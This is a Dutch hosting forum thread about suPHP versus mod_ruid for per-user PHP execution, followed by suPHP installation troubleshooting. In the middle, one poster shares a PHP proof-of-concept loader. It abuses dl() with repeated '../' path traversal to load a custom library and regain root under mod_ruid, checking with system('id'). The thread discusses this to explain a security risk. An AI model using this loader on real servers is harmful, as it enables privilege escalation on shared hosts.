Onderwerp: httpd process verbuikt 100% cpu

Wat raden jullie me aan suPHP of mod_ruid?

Overigens heb ik nog geen duidelijke handleiding gevonden voor het compilen van php-cgi en het installeren van suPHP.

ik gebruik zelf ruid op onze webservers en ben er zeer te spreken over. Erg makkelijk te installeren en te gebruiken.

keuze om of zelf een uid mee te geven in een vhost of een stat() te laten doen op de uid van de file die hij uitvoerd en deze te gebruiken.

Oorspronkelijk geplaatst door Boyke

Wat raden jullie me aan suPHP of mod_ruid?

Ligt eraan of snelheid of veiligheid een hogere prioriteit geeft.

mod_ruid is snel.
Maar mocht er ooit een beveiligingslek in PHP gevonden worden (of je vergeet de dl() functie uit te zetten), dan kan een aanvaller root privileges verkrijgen.

Oorspronkelijk geplaatst door maxnet

Maar mocht er ooit een beveiligingslek in PHP gevonden worden (of je vergeet de dl() functie uit te zetten), dan kan een aanvaller root privileges verkrijgen.

persoonlijk vind ik dat op shared hosting dl() standaard uit zou moeten staan.. en tegenwoordig ook de url_include.. kan je een hoop ellende schelen

Ok duidelijk, mod_ruid is dus ook goed. Alleen het gedeelte dat als er een lek in PHP wordt gevonden dat dan root privileges verkregen kunnen worden snap ik niet.

Je krijgt ook geen root via url_include, hoogstens user apache/httpd/www waarmee je overal kunt lezen en dus ook andermans troep kunt jatten.
Worse case senario is dat de aanvallen exploit heeft voor je outdated services, dan ben je wel de snaak (als je /tmp schrijfbaar hebt voor * en exec toestaat)

Iemand die een goede tutorial heeft voor het installeren van php-cgi / php-cli en suphp op CentOs? Heb er hier op het forum al eentje gevonden, maar die gaat over php4 i.c.m. php5.

http://www.suphp.org/Documentation.html

http://www.google.com/search?q=php+c...rlz=1I7SUNA_en

... ?

Oorspronkelijk geplaatst door mikeh

Je krijgt ook geen root via url_include, hoogstens user apache/httpd/www waarmee je overal kunt lezen en dus ook andermans troep kunt jatten.

Met url_include niet, maar dl() kan wel degelijk root op leveren.

Van user apache/httpd/www is geen sprake als je mod_ruid draait.
Bij mod_ruid draait Apache effectief als root, en verlaagt deze steeds alleen TIJDELIJK zijn privileges naar die van de eigenaar van het script is dat op dat moment uitgevoerd wordt.

Men gaat er hierbij vanuit dat je met PHP niet de benodigde systemcall uit kan voeren om weer root te worden, en dat het daardoor veilig is.
Maar met dl() en 10 regels C kan dat wel degelijk, zoals ik in mijn PoC uit 2006 heb laten zien (apache per user?).

dl() kan gelukkig uitgezet worden.
Maar hetzelfde truukje zou uitgehaald kunnen worden om root te verkrijgen, indien er ooit bufferoverflow of ander beveiligingslek in PHP of een van de vele extensies gevonden wordt, waarmee machinecode kan worden uitgevoerd.


suphp start elk keer als een script wordt aangeroepen, een apart PHP process op onder de gebruikersnaam van de eigenaar. Het is hierbij niet mogelijk om de root rechten terug te krijgen.
En dat is dan ook veiliger (hetzij slomer),

dl() laadt alleen libs uit een bepaalde directory. Als een klant of extern iemand daar al toegang tot heeft, dan is er toch al wat aan de hand.

Oorspronkelijk geplaatst door t.bloo

dl() laadt alleen libs uit een bepaalde directory. Als een klant of extern iemand daar al toegang tot heeft, dan is er toch al wat aan de hand.

Daar was in de PoC al rekening mee gehouden. Kwestie van een paar keer ../ ervoor ;-)

PHP Code:

<?
function _dl($library)
{
    /* dl() is eigenlijk alleen bedoelt om libraries die in de extension directory staan uit te voeren.
     * dl("bestand.so"); -> laad /usr/local/lib/php/extensions/versie/bestand.so
     * maar door een paar keer ../ voor de bestandsnaam te zetten kunnen libraries ook elders staan.
     */
     
    $library = substr(dirname(__FILE__)."/$library", 1);
     
    for ($i=0; $i<20; $i++)
    {
        $library = "../$library";
        if ( @dl($library) )
            return;
    }
    
    die("Fout bij het laden van de module");
}

system("id");
echo "<p>";
_dl("moduletje.so");
system("id");
?>

Moet wel bekennen dat ik het nog niet onder 5.3 heb uitgeprobeert.
Misschien dat er tegenwoordig wel gefilterd wordt.

Ben inmiddels al een heel tijdje aan het "klooien" maar ik krijg telkens een 500 Internal Server Error.

Ik heb het idee dat php niet in CGI modus draait. Hoe check ik dit? Kan namelijk ook geen bestandje oproepen met phpinfo();

Dit zie ik in de log voorbij komen:

[Sat Jul 18 02:14:45 2009] [error] [client 192.168.134.59] SecurityException in Application.cpp:511: Unknown Interpreter: php
[Sat Jul 18 02:14:45 2009] [error] [client 192.168.134.59] Premature end of script headers: index.php

EDIT:

"" did the trick --> x-httpd-php="php:/usr/bin/php-cgi"

Het mooie is dat ik dit al een paar keer op dit forum heb gelezen, echter denk ik daar op dit tijdstip niet meer aan

Wil nu alleen nog weten hoe ik de laatst gecompile de php versie actief krijg

Mogelijk dat 'server_status' ook enige duidelijkheid had kunnen geven op bepaalde processen.

Als je de nieuwste PHP (5.3.0? of mogelijk 5.2.10) hebt geïnstalleerd moet je ná de installatie eerst HTTPd restarten.

Ja dat had ik al geprobeerd maar hij blijft php 5.1.6 aangeven.